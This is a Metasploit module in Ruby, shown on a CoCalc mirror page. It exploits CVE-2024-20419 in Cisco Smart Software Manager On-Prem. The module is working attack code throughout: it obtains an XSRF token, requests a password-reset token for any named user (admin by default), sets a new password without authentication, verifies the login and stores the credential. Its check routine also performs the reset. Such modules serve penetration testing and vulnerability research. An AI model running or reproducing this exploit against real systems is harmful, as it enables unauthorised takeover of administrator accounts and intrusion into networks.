CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb
Views: 11784
1
class MetasploitModule < Msf::Auxiliary
2
include Msf::Exploit::Remote::HttpClient
3
prepend Msf::Exploit::Remote::AutoCheck
4
5
class AuthTokenError < StandardError; end
6
class XsrfTokenError < StandardError; end
7
class ResetPasswordError < StandardError; end
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)',
14
'Description' => %q{
15
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker
16
can change the password of any existing user, including administrative users.
17
},
18
'Author' => [
19
'Michael Heinzl', # MSF Module
20
'Mohammed Adel' # Discovery and PoC
21
],
22
'References' => [
23
['CVE', '2024-20419'],
24
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy#vp'],
25
['URL', 'https://www.0xpolar.com/blog/CVE-2024-20419']
26
],
27
'DisclosureDate' => '2024-07-20',
28
'DefaultOptions' => {
29
'RPORT' => 8443,
30
'SSL' => 'True'
31
},
32
'License' => MSF_LICENSE,
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'Reliability' => [REPEATABLE_SESSION],
36
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
37
}
38
)
39
)
40
41
register_options([
42
OptString.new('NEW_PASSWORD', [true, 'New password for the specified user', Rex::Text.rand_text_alphanumeric(16) + '!']),
43
OptString.new('USER', [true, 'The user of which to change the password of (default: admin)', 'admin'])
44
])
45
end
46
47
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
48
def xsrf_token_value
49
res = send_request_cgi(
50
'method' => 'GET',
51
'keep_cookies' => true,
52
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
53
'vars_get' => {
54
'hostname' => Rex::Text.rand_text_alpha(6..10)
55
}
56
)
57
58
raise XsrfTokenError, 'Failed to get a 200 response from the server.' unless res&.code == 200
59
60
print_good('Server reachable.')
61
62
xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]
63
raise XsrfTokenError, 'XSRF Token not found' unless xsrf_token_value
64
65
decoded_xsrf_token = decode_url(xsrf_token_value)
66
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
67
decoded_xsrf_token
68
end
69
70
# 2) Request generate_code to retrieve auth_token
71
def auth_token(decoded_xsrf_token)
72
payload = {
73
uid: datastore['USER']
74
}.to_json
75
76
res = send_request_cgi({
77
'method' => 'POST',
78
'ctype' => 'application/json',
79
'keep_cookies' => true,
80
'headers' => {
81
'X-Xsrf-Token' => decoded_xsrf_token
82
},
83
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
84
'data' => payload
85
})
86
87
raise AuthTokenError, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' unless res&.code == 200
88
89
json = res.get_json_document
90
if json.key?('error_message')
91
raise AuthTokenError, json['error_message']
92
elsif json.key?('auth_token')
93
print_good('Retrieved auth_token: ' + json['auth_token'])
94
end
95
96
auth_token = json['auth_token']
97
auth_token
98
end
99
100
# 3) Request reset_password to change the password of the specified user
101
def reset_password(decoded_xsrf_token, auth_token)
102
payload = {
103
uid: datastore['USER'],
104
auth_token: auth_token,
105
password: datastore['NEW_PASSWORD'],
106
password_confirmation: datastore['NEW_PASSWORD'],
107
common_name: ''
108
}.to_json
109
110
res = send_request_cgi({
111
'method' => 'POST',
112
'ctype' => 'application/json',
113
'keep_cookies' => true,
114
'headers' => {
115
'X-Xsrf-Token' => decoded_xsrf_token
116
},
117
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
118
'data' => payload
119
})
120
121
raise ResetPasswordError, 'Did not receive a 200 responce from backend/reset_password' unless res&.code == 200
122
123
json = res.get_json_document
124
raise ResetPasswordError, "There was an error resetting the password: #{json['error_message']}" if json['error_message']
125
126
json
127
end
128
129
def check
130
begin
131
@xsrf_token_value = xsrf_token_value
132
@auth_token = auth_token(@xsrf_token_value)
133
@reset_password = reset_password(@xsrf_token_value, @auth_token)
134
rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e
135
return Exploit::CheckCode::Unknown("Check method failed: #{e.class}, #{e}")
136
end
137
138
return Exploit::CheckCode::Unknown('Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value
139
return Exploit::CheckCode::Unknown('Unable to determine the version (auth_token missing).') unless @auth_token
140
return Exploit::CheckCode::Unknown('Unable to determine the version (reset_password failed).') unless @reset_password
141
142
if @reset_password.key?('status')
143
return Exploit::CheckCode::Appears('Password reset was successful, target is vulnerable')
144
end
145
146
Exploit::CheckCode::Unknown
147
end
148
149
def decode_url(encoded_string)
150
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
151
[::Regexp.last_match(1).to_i(16)].pack('C')
152
end
153
end
154
155
def run
156
begin
157
@xsrf_token_value ||= xsrf_token_value
158
@auth_token ||= auth_token(@xsrf_token_value)
159
@reset_password ||= reset_password(@xsrf_token_value, @auth_token)
160
rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e
161
fail_with(Failure::UnexpectedReply, "Exploit pre-conditions were not met #{e.class}, #{e}")
162
end
163
164
fail_with(Failure::UnexpectedReply, 'Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value
165
fail_with(Failure::UnexpectedReply, 'Unable to determine the version (auth_token missing).') unless @auth_token
166
fail_with(Failure::UnexpectedReply, 'Unable to determine the version (reset_password failed).') unless @reset_password
167
168
# 4) Confirm that we can authenticate with the new password
169
payload = {
170
username: datastore['USER'],
171
password: datastore['NEW_PASSWORD']
172
}.to_json
173
174
res = send_request_cgi({
175
'method' => 'POST',
176
'ctype' => 'application/json',
177
'keep_cookies' => true,
178
'headers' => {
179
'X-Xsrf-Token' => @xsrf_token_value,
180
'Accept' => 'application/json'
181
},
182
'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),
183
'data' => payload
184
})
185
186
fail_with(Failure::UnexpectedReply, 'Failed to verify authentication with the new password was successful.') unless res&.code == 200
187
188
json = res.get_json_document
189
unless json.key?('uid') && json['uid'] == datastore['USER']
190
fail_with(Failure::UnexpectedReply, json['error_message'])
191
end
192
193
store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json)
194
print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")
195
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/logIn?redirectURL=%2F'))}")
196
end
197
end
198
199